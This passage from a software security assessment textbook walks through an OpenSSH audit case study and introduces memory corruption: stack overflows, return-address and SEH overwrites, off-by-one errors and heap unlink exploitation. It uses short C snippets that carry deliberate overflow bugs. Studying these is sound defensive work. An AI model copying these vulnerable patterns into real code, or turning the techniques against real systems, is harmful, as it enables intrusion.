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instead, you need to examine the code briefly to identify the key components you 

need to look at. The first thing you do is determine attack vectors you need to cover. 

To do this, you need a good idea of how the application is exposed and to whom. As 

mentioned earlier, you apply your knowledge of threat modeling to identify the major 

attack vectors. In the OpenSSH server example, the application is exposed to three 

main classes of users: 

 Administrator This user has permissions to start and stop the SSH server and 

modify the configuration file. 

 Authenticated users This class of users can log in remotely and start a shell 

interactively. 

 Unauthenticated users This class of users doesn't have valid credentials and 

shouldn't be able to do anything. 

In this audit, you're largely uninterested in the administrator and authenticated user 

classes; you want to focus on remote unauthenticated users. You need to begin 

collecting SSH documentation to get an idea of how an SSH server works, the protocol 

constraints it has to work within and the exposure level available to each user class. 

In this case, the SSH RFCs are particularly useful. After a brief search on www.ietf.org, 

you can find the following RFCs: 

 RFC 4250 The Secure Shell (SSH) Protocol Assigned Numbers 

(www.ietf.org/rfc/rfc4250.txt) 

 RFC 4251 The Secure Shell (SSH) Protocol Architecture 

(www.ietf.org/rfc/rfc/4251.txt) 

 RFC 4252 The Secure Shell (SSH) Authentication Protocol 

(www.ietf.org/rfc/rfc4252.txt) 

 RFC 4253 The Secure Shell (SSH) Transport Layer Protocol 

(www.ietf.org/rfc/rfc4253.txt) 

 RFC 4254 The Secure Shell (SSH) Connection Protocol 

(www.ietf.org/rfc/rfc4254.txt) 

Looks like a lot of reading! Fortunately, you can skim over a lot of the details, as long 

as you make sure you grasp the basic architecture of an SSH server and how SSH 

clients and servers communicate. 

Before you go any further, you need some insight into the architecture of the 

OpenSSH server code. When you unpack the source, you'll notice that all the source 

files unpack into one directory. Because there's no neat directory structure hinting at 

how the application is designed, you need to start from the main() function in the SSH 

server and examine the code briefly. This cursory look indicates several subsystems 

you need to be familiar with to analyze the code in more depth: 

 Buffer subsystem Manages binary data streams for both input and output. All 

code for managing these buffers is in buffer.c and bufaux.c. 

http://www.ietf.org/
http://www.ietf.org/rfc/rfc4250.txt
http://www.ietf.org/rfc/rfc/4251.txt
http://www.ietf.org/rfc/rfc4252.txt
http://www.ietf.org/rfc/rfc4253.txt
http://www.ietf.org/rfc/rfc4254.txt
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 Packet subsystem Deals with transmitting and receiving packets. Most of the 

packet subsystem is a wrapper for buffer functions, with the exception of I/O 

functions. The code for dealing with packets is in packet.c. 

 Crypto subsystem Each supported cryptography algorithm is represented by a 

structure defining key elements of the algorithm, such as 

encryption/decryption routines, key sizes, and so on. This code is in cipher.c. 

 Privilege separation When you read any code and documentation about 

OpenSSH, you'll discover a mechanism known as "privilege separation" that 

attempts to minimize the chances of exploitable vulnerabilities gaining much 

access to the target system. It works by forking two processes to handle each 

connection: an unprivileged child dealing with network data and a privileged 

parent that can authenticate users based on requests from the child. Most of 

the code for privilege separation is in monitor.c and monitor_wrap.c. 

You should also figure out what functionality you're going to focus the audit on, which 

should be clear after doing the brief code inspection. You want to focus on code that 

can be triggered by remote unauthenticated users, which means you probably want 

to cover the following code portions: 

 Low-level packet handling routines (a more in-depth vulnerability analysis of 

the buffer and packet reception routines) 

 Identification exchange (initial identification exchange as defined by the SSH 

protocolin sshd.c) 

 Session setup (proposal and key exchangespans multiple files) 

 Compression handling (SSH supports compression by default, located in 

compress.c) 

 Authentication (spans multiple files, all beginning with auth- or auth2-). Note 

that authentication data is extracted in the child and handled in the server, so 

you need to examine both sides. 

Finally, make note of any objects that are used. Given that you're concerned only with 

preauthentication routines, you need to examine very few objects. The relevant ones 

are listed here: 

 Configuration file Obviously, remote unauthenticated users can't read or write 

to this file or affect it in any way. You should familiarize yourself with what 

options are available and what default options are set, however. 

 Local privilege separation socket The parent and child processes in a privilege 

separation relationship communicate via a local socket. You don't need to 

worry much about this object because you can't influence how it is accessed. 

 Remote client socket This object addresses how you can communicate with 

the server. 

 Various authentication files Various forms of authentication examine local files 

for authentication datahost entries, keys, and so on. Some files you examine 

could be system files, and others are files in a user's home directory. If you 
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already had an account on the system and were using SSH to leverage 

elevated privileges, parsing and interpreting these files would be significant. 

However, you're not considering that case for this example. 

 External application invocation OpenSSH can be made to invoke external 

applications, even before authentication has been established. For example, 

on BSD systems, the BSD authentication mechanism can be used, which calls 

a user-defined login program that is responsible for deciding whether a user is 

authenticated. For this example, you can ignore these invocations, although a 

thorough audit would involve some examination of them. 

Implementation Analysis 

Now that you have spent time doing information gathering, it's time to move on to the 

code audit. To begin, you look through the exposed functionality you identified in the 

preassessment phase. You now have enough context to start with the lowest-level 

routines and work upward, so you would start with the packet and buffer-handling 

routines. You attempt to identify bugs that fall into your known vulnerability classes, 

such as integer-related vulnerabilities, memory management problems, and so forth. 

It's also helpful to note quirky behavior that certain parts of the application exhibit 

and see whether that behavior creates a vulnerability at any point. After going over 

the OpenSSH code, you might note some of the following behaviors: 

 The fatal() function could provide a useful application-specific candidate 

point (CP6). It doesn't exit the application directly; it does a series of cleanups 

to prevent memory leaks and so forth when it calls cleanup_exit(). Could this 

function be a problem if something it cleaned up were in an inconsistent state? 

(It has been in the past.) 

 A simple lexical candidate point search (CP3) determines that nearly every 

length parameter is unsigned; it's unlikely that signed integer vulnerabilities 

will be found. 

 Code comprehension strategies identify the consistent use of a buffer 

structure. Buffer overflows seem unlikely due to the consistent use of these 

buffer mechanisms. 

 You might want to do a candidate point search to identify double free() 

vulnerabilities. They seem possible, as many routines allocate a large number 

of data structures and have cleanup parts at the end. Maybe there's a place 

where one buffer is freed that's never allocated? 

 Code comprehension strategies identify that authentication success or failure 

is often indicated by a return value of 1 or 0. Is another value ever returned 

from an authentication function accidentally? 

 Code comprehension and design generalization strategies reveal that 

multistage authentication algorithms could have state problems. What if you 

repeat stages or skip stages? Is it possible? Doing so could lead to double 

free() vulnerabilities, memory leaks, and inconsistent variable states. 
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You should note several other behaviors when walking through the code. If you're 

unsure about some vulnerability classes mentioned in the preceding list, don't worry. 

They are covered in later chapters throughout the book. With your series of informal 

mental notes combined with formal techniques introduced throughout the book, you 

can analyze the code in depth for each vulnerability class, making sure to consider 

each code path carefully. 

High-Level Attack Vectors 

A higher-level analysis of the code can help you discover potential flaws in the 

application's logic and design. The OpenSSH specification seems to leave the 

possibility open for a number of higher-level logic and design vulnerabilities. You 

don't have a threat model; however, you can identify some basic attack vectors from 

the RFCs you've read and your current knowledge of the implementation. 

SSH Protocol Attack Vectors 

Before authentication, the identification exchange, proposal, and session setup 

phases take place. During this period, the SSH server and client agree on a number of 

supported parameters for the session and establish a secure channel. When 

attempting to attack this code, you would need to consider some of the following 

points: 

 Sniffing SSH communications are encrypted mainly to prevent third parties 

from snooping on a session. Therefore, you need to see whether there's any 

way to break that encryption. In performing an audit, often you assume the 

effectiveness of a publicly validated encryption protocol. However, that 

doesn't necessarily mean the protocol is being used safely. You might want to 

look at session establishment and see whether an observer can learn secret 

keys from watching a proposal and session setup. 

 Man in the middle Can an observer masquerade as a server and glean login 

credentials from clients without their knowledge? 

 Protocol quirks What interesting quirks does the protocol allow? For example, 

does it provide backward compatibility with previous, less secure versions of 

the protocol? If so, undermining security by forcing the use of old protocol 

features or authentication mechanisms might be possible. 

 Protocol state Examine how OpenSSH deals with the state of messages. Does 

the server ever attempt to handle messages sent at inappropriate stages? 

Also, at various points throughout SSH negotiation, it's legal to receive any of 

a number of different messages, which can lead to complicated and 

unpredictable code paths. 

Login Attack Vectors 
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Logging in is the most crucial element of the SSH server. If any login mechanisms 

don't work correctly, remote attackers could gain local access to the machine the 

server resides on. Some things to consider when evaluating the authentication 

components of OpenSSH include the following: 

 Brute-forcing Can accounts be brute-forced? Are mechanisms in place to 

prevent remote attackers from trying millions of different passwords on a 

username (dictionary attacks)? 

 Multistage authentication Can any multistage authentication modules be 

tricked into giving access by sending out state requests? This consideration 

ties in with your work in assessing the protocol state attack vectors. 

 Disabled accounts Does the OpenSSH server recognize that certain system 

accounts are intended to be disabled? For example, can users who have the 

shell /bin/false log in? 

 File-based authentication A lot of authentication mechanisms require checking 

files on the local file system. For example, key-based authentication verifies 

users by checking key files in their home directories, and rhosts authentication 

checks a local file to see whether users can log in without a password if they're 

coming from a valid host. Is there any way to fool these authentication 

protocols into reading the wrong files, such as privileged files or authentication 

files for other users? 

 Incorrectly set up authentication Many authentication mechanisms (such as 

Kerberos) require administrators to configure the machine correctly before 

authentication can be established successfully. Can an enabled authentication 

mechanism that isn't set up correctly (or at all) yield access to the machine? 

 Incorrectly functioning authentication Most authentication mechanisms 

OpenSSH uses are industry-accepted and standardized mechanisms, such as 

BSD authentication, password authentication, Kerberos, and public key 

authentication. That doesn't necessarily mean the modules function correctly, 

however. Can the program allow an unauthorized authentication bypass? The 

most likely cause of this problem is incorrectly interpreting global structures 

that are in an inconsistent state or misinterpreting return values. This 

consideration ties in with your work in assessing the protocol state attack 

vectors. 

Documentation of Findings 

After the analysis is finished, you can write up your findings in the manner discussed 

in the "Documentation and Analysis(? [????.])" section of this chapter. This 

documentation includes locations of any vulnerabilities you identified, such as the 

pertinent details identified in this case study. 

6.4.12 Summary 
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Taking a given application and performing a detailed security assessment is a 

complex task. To know how to address this complexity, you learned an iterative 

process for isolating application components and identifying security issues. You also 

learned a range of strategies and techniques for performing and managing your 

assessment efforts. This review process assists you in examining each application in 

a thorough and systematic manner and directing your review efforts to where they 

make the most impact. 

7. Part II:  Software Vulnerabilities 

  

 
 

7.1 Chapter 5.  Memory Corruption 

"Nearly all men can stand adversity, but if you want to test a man's character, give 

him power." 

Abraham Lincoln 

7.1.1 Introduction 

In this book, you're asked to accept one basic assumptionthat all memory corruption 

vulnerabilities should be treated as exploitable until you can prove otherwise. This 

assumption might seem a bit extreme, but it's a useful perspective for a code auditor. 

Attackers can often leverage an out-of-bounds memory write to modify a program's 

runtime state in an arbitrary manner, thus violating any security policy an application 

should be enforcing. However, it's hard to accept the severity of memory corruption 

vulnerabilities or even understand them until you have some knowledge of how 

memory corruption is exploited. 

Exploit creation and software auditing are two differentbut highly complementaryskill 

sets. An auditor with a good understanding of exploit development is more effective, 

as this knowledge is useful for determining the difference between an innocuous bug 

and a genuine vulnerability. There are many well-documented techniques for 

exploiting memory corruption vulnerabilities, and this chapter provides a brief 

introduction to some basic approaches for the Intel x86 architecture (although the 

concepts are applicable to all architectures). Along with exploit techniques, you learn 

more details about anti-exploit technologies and strategies for determining 

exploitability. The coverage is not intended as a definitive guide to exploiting memory 

31051536.html
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corruption vulnerabilities, but it does provide the background you need to understand 

and appreciate many of the vulnerabilities covered throughout this book. 

Note 

Readers interested in learning more about exploiting memory corruption 

vulnerabilities should pick up The Shellcoder's Handbook (Wiley, 2004(? [????.])) by 

Jack Koziol et al. or Exploiting Software (Addison-Wesley, 2004(? [????.])) by Greg 

Hoglund and Gary McGraw. You can also find numerous online resources about 

exploitation techniques, such as phrack magazine (www.phrack.org) and Uninformed 

magazine (www.uninformed.org). 

 
 

7.1.2 Buffer Overflows 

You're probably familiar with the term "buffer overflow," but if not, a buffer 

overflow is a software bug in which data copied to a location in memory exceeds the 

size of the reserved destination area. When an overflow is triggered, the excess data 

corrupts program information adjacent to the target buffer, often with disastrous 

consequences. 

Buffer overflows are the most common type of memory corruption. If you're not 

familiar with how these bugs are exploited, they almost seem to defy logic and 

somehow grant an attacker complete access to a vulnerable system. But how do they 

work? Why are they such a threat to system integrity? And why don't operating 

systems just protect memory from being corrupted altogether? To answer these 

questions, you need to be familiar with program internals and how the CPU and OS 

manage processes. 

Note 

Some of the vulnerabilities in this book are more complex memory corruption 

vulnerabilities that aren't technically buffer overflows, but share many of the same 

characteristics. This discussion of exploitability is largely applicable to these types of 

issues, especially the "Assessing Memory Corruption Impact(? [????.])" section later 

in this chapter. 

 

 

Process Memory Layout 

A process can be laid out in memory in any way the host OS chooses, but nearly all 

contemporary systems observe a few common conventions. In general, a process is 

organized into the following major areas: 

http://www.phrack.org/
http://www.uninformed.org/
31051536.html
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 Program code This section contains executable program instructions that can 

be interpreted by the processor and acted on. Program code includes compiled 

code for the running program and additional code located in shared libraries 

the program uses. Shared libraries aren't usually mapped contiguously with 

the main program code. 

 Program data This section is used to store program variables that aren't local 

to functions. It includes both global and static variables. The data section 

usually contains a dynamic memory region, called the "program heap," for 

storing dynamically allocated variables. 

 Program stack The stack is used for dynamic storage for currently executing 

functions, and it keeps track of the call chain of functions as they execute. 

Although this is a high-level view of how process memory is organized, it shows how 

the impact of a buffer overflow vulnerability varies based on where the buffer is 

located. The following sections address common and unique attack patterns 

associated with each location. 

Stack Overflows 

Stack overflows are buffer overflows in which the target buffer is located on the 

runtime program stack. They are the most well understood and, historically, the most 

straightforward type of buffer overflow to exploit. This section covers the basics of the 

runtime program stack and then shows how attackers exploit stack-based buffer 

overflows. 

The Stack ADT 

From a general computer science perspective, a stack is an abstract data 

type (ADT) used for the ordered storage and retrieval of a series of data 

elements. Users of a stack data structure typically have two operations 

available for manipulating the stack: 

 push() The push operation adds an element to the top of the stack. 

 pop() A pop operation removes and returns the top element from the 

stack. 

A stack is a last-in, first-out (LIFO) data structure. You can think of it like a 

physical stack of dishes. You can place a dish on top of the stacka push() 

operationand you can take a dish off the top of the stacka pop() operation. 

You cannot, however, directly remove a dish from the middle of the stack 

without first removing the dishes on top of it. 

 

 

The Runtime Stack 
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Each process has a runtime stack, which is also referred to as "the program stack," 

"the call stack," or just "the stack." The runtime stack provides the underpinning 

necessary for the functions used in every structured programming language. 

Functions can be called in arbitrary order, and they can be recursive and mutually 

recursive. The runtime stack supports this functionality with activation records, 

which record the chain of calls from function to function so that they can be followed 

back when functions return. An activation record also includes data that needs to be 

allocated each time a function is called, such as local variables, saved machine state, 

and function parameters. 

Because runtime stacks are an integral part of how programs function, they are 

implemented with CPU assistance instead of as a pure software abstraction. The 

processor usually has a special register that points to the top of the stack, which is 

modified by using push() and pop() machine instructions. On Intel x86 CPUs, this 

register is called ESP (ESP stands for "extended stack pointer"). 

On most modern CPUs, the stack grows downward. This means the stack starts at a 

high address in virtual memory and grows toward a lower address. A push operation 

subtracts from the stack pointer so that the stack pointer moves toward the lower end 

of process memory. Correspondingly, the pop operation adds to the stack pointer, 

moving it back toward the top of memory. 

Every time a function is called, the program creates a new stack frame, which is 

simply a reserved block of contiguous memory that a function uses for storing local 

variables and internal state information. This block of memory is reserved for 

exclusive use by the function until it returns, at which time it's removed from the 

stack. To understand this process, consider the following program snippet: 

int function_B(int a, int b) 

{ 

    int x, y; 

 

    x = a * a; 

    y = b * b; 

 

    return (x+y); 

} 

 

int function_A(int p, int q) 

{ 

    int c; 

    c = p * q * function_B(p, p); 

 

    return c; 

} 
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int main(int argc, char **argv, char **envp) 

{ 

    int ret; 

 

    ret = function_A(1, 2); 

 

    return ret; 

} 

 

When function_A() is entered, a stack frame is allocated and placed on the top of the 

stack, as shown in Figure 5-1. 

Figure 5-1. Stack while in function_A() 

 

 

This diagram is a simplified view of the program stack, but you can see the basic stack 

frame layout when the main() function has called function_A(). 

Note 

Figures 5-1 and 5-2 might seem confusing at first because the stack appears to be 

growing upward rather than downward; however, it's not a mistake. If you imagine a 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 184 

memory address space beginning at 0 and extending downward to 0xFFFFFFFF, a 

lower memory address is closer to 0 and, therefore, appears higher on the diagram. 

 

Figure 5-2. Stack while in function_B() 

 

 

Figure 5-2 shows what the stack would look like after function_A() calls function_B(). 

When function_B() is finished, it returns back into function_A(). The function_B() 

stack frame is popped off the top of the stack, and the stack again looks like it does 

in Figure 5-1. This simply means the value of ESP is restored to the value it had when 

function_B() was called. 

Note 

The stack diagrams in Figures 5-1 and 5-2 are simplified representations. In fact, 

main() is not the first function on the call stack. Usually, functions are called before 

main() to set up the environment for the process. For example, glibc Linux systems 

usually begin with a function named _start(), which calls _libc_start_main(), which 

in turn calls main(). 
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Each function manages its own stack frame, which is sized depending on how many 

local variables are present and the size of each variable. Local variables need to be 

accessed directly as the function requires them, which would be inefficient just using 

push and pop instructions. Therefore, many programs make use of another register, 

called the "frame pointer" or "base pointer." On Intel x86 CPUs, this register is called 

EBP (EBP stands for "extended base pointer"). This register points to the beginning of 

the function's stack frame. Each variable in the given frame can be accessed by 

referencing a memory location that is a fixed offset from the base pointer. The use of 

the base pointer is optional, and it is sometimes omitted, but you can assume that it's 

present for the purposes of this discussion. 

A crucial detail that was glossed over earlier is the internal state information recorded 

in each stack frame. The state information stored on the stack varies among 

processor architectures, but usually it includes the previous function's frame pointer 

and a return address. This return address value is saved so that when the currently 

running function returns, the CPU knows where execution should continue. Of course, 

the frame pointer must also be restored so that local variable accesses remain 

consistent after a function has called a subfunction that allocates its own stack frame. 

Function-Calling Conventions 

A calling convention describes how function parameters are passed to a 

function and what stack maintenance must be performed by the calling and 

called functions. The section "The Runtime Stack" earlier in this chapter 

addresses the most popular type of calling convention; however, calling 

conventions vary with processor architectures, OSs, and compilers. 

Compilers can switch between calling conventions for optimization purposes; 

for example, one popular optimized x86 calling convention is the fastcall. The 

fastcall passes function parameters in registers when possible, which can 

speed up variable access and reduce stack maintenance overhead. Each 

compiler has a slightly different version of the fastcall. 

Language features can also introduce different calling conventions. A typical 

C++ class member function requires access to the class instance's this 

pointer. On Windows x86 systems, the this pointer is passed in the ECX 

register for functions with a fixed number of parameters. In contrast, the 

GCC C++ compiler passes the this pointer as the last parameter pushed 

onto the stack. 

 

The stack pointer must also be restored to its previous state, but this task isn't 

performed implicitly; the called function must reset the stack pointer to the 
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appropriate location before it returns. This is necessary because the saved frame 

pointer and return address are restored from the top of the stack. The frame pointer 

is restored by using a pop instruction, which uses the stack pointer implicitly; the ret 

instruction used to return from a function also uses ESP implicitly to retrieve the 

return address. 

Each function that allocates its own stack frame, therefore, needs to save its own 

frame pointer. Listing 5-1 shows a typical function prologue on Intel machines for 

saving the frame pointer. 

Listing 5-1. Function Prologue 

text:5B891A50             mov     edi, edi 

text:5B891A52             push    ebp 

text:5B891A53             mov     ebp, esp 

 

The prologue doesn't require that the caller specifically push the return address onto 

the stack; this task is done by the call instruction. So the stack layout when 

function_B() is called looks like Figure 5-3. 

Figure 5-3. Detailed stack layout 

[View full size image] 
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Note 

You might notice that the prologue in Listing 5-1 includes a seemingly useless 

instruction (mov edi, edi). This instruction is actually a placeholder added to ease 

runtime patching for system monitoring and debugging. 

 

 

Exploiting Stack Overflows 

As you can see, local variables are in close proximity to each otherin fact, they are 

arranged contiguously in memory. Therefore, if a program has a vulnerability 

allowing data to be written past the end of a local stack buffer, the data overwrites 

adjacent variables. These adjacent variables can include other local variables, 

program state information, and even function arguments. Depending on how many 

bytes can be written, attackers might also be able to corrupt variables and state 

information in previous stack frames. 

Note 
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Compilers sometimes add padding between one variable and the next, depending on 

several factors such as optimization levels and variable sizes. For the purposes of this 

discussion, you can consider variables to be contiguous. 

 

To begin, consider the simple case of writing over a local variable. The danger with 

writing over a local variable is that you can arbitrarily change the variable's value in 

a manner the application didn't intend. This state change can often have undesirable 

consequences. Consider the example in Listing 5-2. 

Listing 5-2. Off-by-One Length Miscalculation 

int authenticate(char *username, char *password) 

{ 

    int authenticated; 

    char buffer[1024]; 

 

    authenticated = verify_password(username, password); 

 

    if(authenticated == 0) 

    { 

        sprintf(buffer, 

                "password is incorrect for user %s\n", 

                username); 

        log("%s", buffer); 

   } 

 

  return authenticated; 

} 

 

Assume that the authenticated variable is located at the top of the stack frame, 

placing it at a higher memory location than the buffer variable. The function's stack 

looks like Figure 5-4. 

Figure 5-4. Stack frame of authenticate() before exploit 
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Note 

Figure 5-4 demonstrates one possible layout for Listing 5-2; however, you can't 

conclusively determine from source code how variables are ordered internally in a 

stack frame. The compiler can (and often does) reorder variables for optimization 

purposes. 

 

The authenticate() function has a buffer overflow. Specifically, the sprintf() 

function doesn't limit the amount of data it writes to the output buffer. Therefore, if 

the username string is around 1024 bytes, data is written past the end of the buffer 

variable and into the authenticated variable. (Remember that authenticated() is at 

the top of the stack frame.) Figure 5-5 shows what happens when the overflow is 

triggered. 

Figure 5-5. Stack frame of authenticate() after exploit 
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The authenticated variable is a simple state variable, indicating whether the user was 

able to successfully log on. A value of zero indicates that authentication failed; a 

nonzero value indicates success. By overflowing the buffer variable, an attacker can 

overwrite the authenticated variable, thus making it nonzero. Therefore, the caller 

incorrectly treats the attacker as successfully authenticated! 

Overwriting adjacent local variables is a useful technique, but it's not generally 

applicable. The technique depends on what variables are available to overwrite, how 

the compiler orders the variables in memory, and what the program does with them 

after the overflow happens. A more general technique is to target the saved state 

information in every stack framenamely, the saved frame pointer and return address. 

Of these two variables, the return address is most immediately useful to attackers. If 

a buffer overflow can overwrite the saved return address, the application can be 

redirected to an arbitrary point after the currently executing function returns. This 

process is shown in Figure 5-6. 

Figure 5-6. Overwriting the return address 
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Essentially, the attacker chooses an address in the program where some useful code 

resides and overwrites the return address with this new address. The exact location 

depends on what the attacker wants to achieve, but there are two basic options: 

 Execution can be redirected to the code section of the application being run or 

to some code in a shared library that does something usefulfor example, the 

system() function in UNIX libc, which runs commands via the shell. 

 Execution can be redirected to an area of memory containing data the attacker 

controls, such as a global variable, a stack location, or a static buffer. In this 

situation, the attacker fills the targeted return location with a small stub of 

position-independent code to do something useful, such as connecting back to 

the attacker and spawning a shell on the connected socket. These small code 

stubs are commonly referred to as shellcode. 

SEH Attacks 

Windows systems can be vulnerable to a slight variation on the traditional stack 

overflow attacks; this variation is known as "smashing the structured exception 

handlers." Windows provides structured exception handling (SEH) so that 

programs can register a handler to act on errors in a consistent manner. When a 

thread causes an exception to be thrown, the thread has a chance to catch that 

exception and recover. Each time a function registers an exception handler, it's 

placed at the top of a chain of currently registered exception handlers. When an 

exception is thrown, this chain is traversed from the top until the correct handler type 

is found for the thrown exception. If no appropriate exception handler is found, the 

exception is passed to an "unhandled exception filter," which generally terminates the 

process. 

Note 
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Exception handling is a feature of a number of languages and was popularized by the 

C++ programming language. Although C++ exception handling (EH) is significantly 

more complex than the basic Windows SEH mechanism, C++ exceptions in Windows 

are implemented on top of SEH. If you would like to learn more about Windows C++ 

exception handling, you should check out the write-up at 

www.openrce.org/articles/full_view/21. 

 

SEH provides a convenient method for exploiting stack overflows on a Windows 

system because the exception handler registration structures are located on the stack. 

Each structure has the address of a handler routine and a pointer to its parent 

handlers. These structures are shown in Figure 5-7. 

Figure 5-7. Windows SEH layout 

[View full size image] 

 

 

When an exception occurs, these records are traversed from the most recently 

installed handler back to the first one. At each stage, the handler is executed to 

determine whether it's appropriate for the currently thrown exception. (This 

explanation is a bit oversimplified, but there's an excellent paper describing the 

process at www.microsoft.com/msj/0197/exception/exception.aspx.) 

http://www.openrce.org/articles/full_view/21
images/05ssa07_alt.jpg
http://www.microsoft.com/msj/0197/exception/exception.aspx
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Therefore, if an attacker can trigger a stack overflow followed by any sort of exception, 

these exception registration structures are examined, and the exception handler 

address in each structure is called until an appropriate one is found. Because they are 

structures on the attacker-corrupted stack, the application jumps to an address of the 

attacker's choosing. When it's possible to overflow a buffer by a fairly large amount, 

the attacker can copy over the entire stack, resulting in an exception when the stack 

base is overwritten. The application then uses the corrupted SEH information on the 

stack and jumps to an arbitrary address. This process is depicted in Figure 5-8. 

Figure 5-8. SEH exploit 

[View full size image] 

 

 

 

Off-by-One Errors 

Memory corruption is often caused by calculating the length of an array incorrectly. 

Among the most common mistakes are off-by-one errors, in which a length 

calculation is incorrect by one array element. This error is typically caused by failing 

to account for a terminator element or misunderstanding the way array indexing 

works. Consider the following example: 

... 

void process_string(char *src) 

{ 

    char dest[32]; 

    for (i = 0; src[i] && (i <= sizeof(dest)); i++) 

        dest[i] = src[i]; 

... 
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The process_string() function starts by reading a small number of characters from its 

argument src and storing them to the stack-based buffer dest. This code attempts to 

prevent a buffer overflow if src has more than 32 characters, but it has a simple 

problem: It can write one element out of bounds into dest. Array indexes begin with 

0 and extend to sizeof(array) - 1, so an array with 32 members has valid array 

indexes from 0 through 31. The preceding code indexes one element past the end of 

dest, as the condition controlling the loop is (i <= sizeof(dest)) when it should be (i 

< sizeof(dest)). If i is incremented to a value of 32 in the vulnerable code, it passes 

the length check, and the program sets dest[32] equal to src[32]. 

This type of issue surfaces repeatedly in code dealing with C strings. C strings require 

storage space for each byte of the string as well as one additional byte for the NUL 

character used to terminate the string. Often this NUL byte isn't accounted for 

correctly, which can lead to subtle off-by-one errors, such as the one in Listing 5-3. 

Listing 5-3. Off-by-One Length Miscalculation 

int get_user(char *user) 

{ 

    char buf[1024]; 

 

    if(strlen(user) > sizeof(buf)) 

        die("error: user string too long\n"); 

 

    strcpy(buf, user); 

 

    ... 

} 

 

This code uses the strlen() function to check that there's enough room to copy the 

username into the buffer. The strlen() function returns the number of characters in 

a C string, but it doesn't count the NUL terminating character. So if a string is 1024 

characters according to strlen(), it actually takes up 1025 bytes of space in memory. 

In the get_user() function, if the supplied user string is exactly 1024 characters, 

strlen() returns 1024, sizeof() returns 1024, and the length check passes. 

Therefore, the strcpy() function writes 1024 bytes of string data plus the trailing NUL 

character, causing one byte too many to be written into buf. 

You might expect that off-by-one miscalculations are rarely, if ever, exploitable. 

However, on OSs running on Intel x86 machines, these errors are often exploitable 

because you can overwrite the least significant byte of the saved frame pointer. As 

you already know, during the course of program execution, each function allocates a 

stack frame for local variable storage. The address of this stack frame, known as the 

base pointer or frame pointer, is kept in the register EBP. As part of the function 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 195 

prologue, the program saves the old base pointer to the stack, right next to the return 

address. If an off-by-one buffer overflow is triggered on a buffer located directly 

below the saved base pointer, the NUL byte is written one byte past the end of the 

buffer, which corresponds to the least significant byte of the saved base pointer. This 

means when the function returns, the restored base pointer is incorrect by up to 255 

bytes, as shown in Figure 5-9. 

Figure 5-9. Off-by-one stack frame 

[View full size image] 

 

 

If the new base pointer points to some user-controllable data (such as a character 

buffer), users can then specify local variable values from the previous stack frame as 

well as the saved base pointer and return address. Therefore, when the calling 

function returns, an arbitrary return address might be specified, and total control over 

the program can be seized. 

Off-by-one errors can also be exploitable when the element is written out of bounds 

into another variable used by that function. The security implications of the 

off-by-one error in this situation depend on how the adjacent variable is used 

subsequent to the overflow. If the variable is an integer indicating size, it's truncated, 

and the program could make incorrect calculations based on its value. The adjacent 

variable might also affect the security model directly. For example, it might be a user 

ID, allowing users to receive permissions they aren't entitled to. Although these types 

of exploits are implementation specific, their impact can be just as severe as 

generalized attacks. 

Heap Overflows 
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Heap overflows are a more recent advance in exploitation. Although common now, 

general heap exploitation techniques didn't surface until July 2000. These techniques 

were originally presented by an accomplished security researcher known as Solar 

Designer. (His original advisory is available at 

www.openwall.com/advisories/OW-002-netscape-jpeg/.) To understand how heap 

exploitation works, you need to be familiar with how the heap is managed. The 

following sections cover the basics of heap management and show how heap-based 

buffer overflows are exploited. 

Heap Management 

Although heap implementations vary widely, some common elements are present in 

most algorithms. Essentially, when a call to malloc() or a similar allocation routine is 

made, some memory is fetched from the heap and returned to the user. When this 

memory is deallocated by using free(), the system must mark it as free so that it can 

be used again later. Consequently, state must be kept for regions of memory that are 

returned to the callers so that memory can be handed out and reclaimed efficiently. In 

many cases, this state information is stored inline. Specifically, most 

implementations return a block of memory to the user, which is preceded by a header 

describing some basic characteristics of the block as well as some additional 

information about neighboring memory blocks. The type of information in the block 

header usually includes the following: 

 Size of the current block 

 Size of the previous block 

 Whether the block is free or in use 

 Possibly some additional flags 

Note 

BSD systems manage heap memory differently from most other OSs. They store 

most block information out of band. 

 

Free blocks are often chained together using a standard data structure, such as a 

singly or doubly linked list. Most heap implementations define a minimum size of a 

block big enough to hold pointers to previous and next elements in a list and use this 

space to hold pointers when the block isn't in use. Figure 5-10 is an example of the 

two basic block structures specific to glibc malloc() implementations. 

Figure 5-10. Glibc heap structure 

http://www.openwall.com/advisories/OW-002-netscape-jpeg/
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Note that the organization of blocks in this way means that triggering an overflow 

results in corrupting header information for allocated memory chunks as well as list 

management data. 

Exploiting Heap Overflows 

As you might have guessed, the ability to modify header data and list pointers 

arbitrarily (as when a buffer overflow occurs) gives attackers the opportunity to 

disrupt the management of heap blocks. These disruptions can be used to manipulate 

block headers to gain reliable arbitrary execution by leveraging the heap 

maintenance algorithms, especially list maintenance of free blocks. After its initial 

discovery by Solar Designer, this process was described in depth in Phrack 57 

(www.phrack.org/phrack/57/p57-0x09). The following list summarizes the standard 

technique: 

1. Blocks marked as free are assumed to contain list pointers to next and 

previous blocks in the free chunks list. 

2. When a block is freed, it's often coalesced with adjacent blocks if they are also 

free. 

3. Because two blocks are being merged into one, the heap algorithm removes 

the next chunk that was originally on the free list, adjusts the size of the chunk 

being freed to reflect that it's now bigger, and then adds the new larger chunk 

onto the free list. 

4. An overflow on the heap is used to mark the next chunk as free so that it's 

later unlinked from the free list. 

5. The overflow buffer sets the list pointers in the corrupted chunk to locations 

useful to an attacker. 

6. When the unlink operation is performed, an attacker-supplied, fixed-size 

value is written to an attacker-determined memory location. 

To understand why unlinking a chunk leads to an arbitrary overwrite, consider the 

following code for unlinking an element from a doubly linked list: 

int unlink(ListElement *element) 

http://www.phrack.org/phrack/57/p57-0x09
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{ 

    ListElement *next = element->next; 

    ListElement *prev = element->prev; 

 

    next->prev = prev; 

    prev->next = next; 

 

    return 0; 

} 

 

This code removes a ListElement by updating pointers in adjacent elements of the list 

to remove references to the current element, element. If you could specify the 

element->next and element->prev values, you would see that this code unwittingly 

updates arbitrary memory locations with values you can control. This process is 

shown before unlinking in Figure 5-11 and after unlinking in Figure 5-12. 

Figure 5-11. Linked list before unlink operation 

[View full size image] 

 

 

Figure 5-12. Linked list after unlink operation 

[View full size image] 

 

 

Being able to overwrite a memory location with a controllable value is usually all that 

attackers need to gain control of a process. Many useful values can be overwritten to 

enable attackers to compromise the application. A few popular targets include the 

following: 

 Global offset table (GOT)/process linkage table (PLT) UNIX ELF binaries use 

several loader structures to resolve called functions from libraries into 

addresses. These structures enable shared libraries to be located anywhere in 

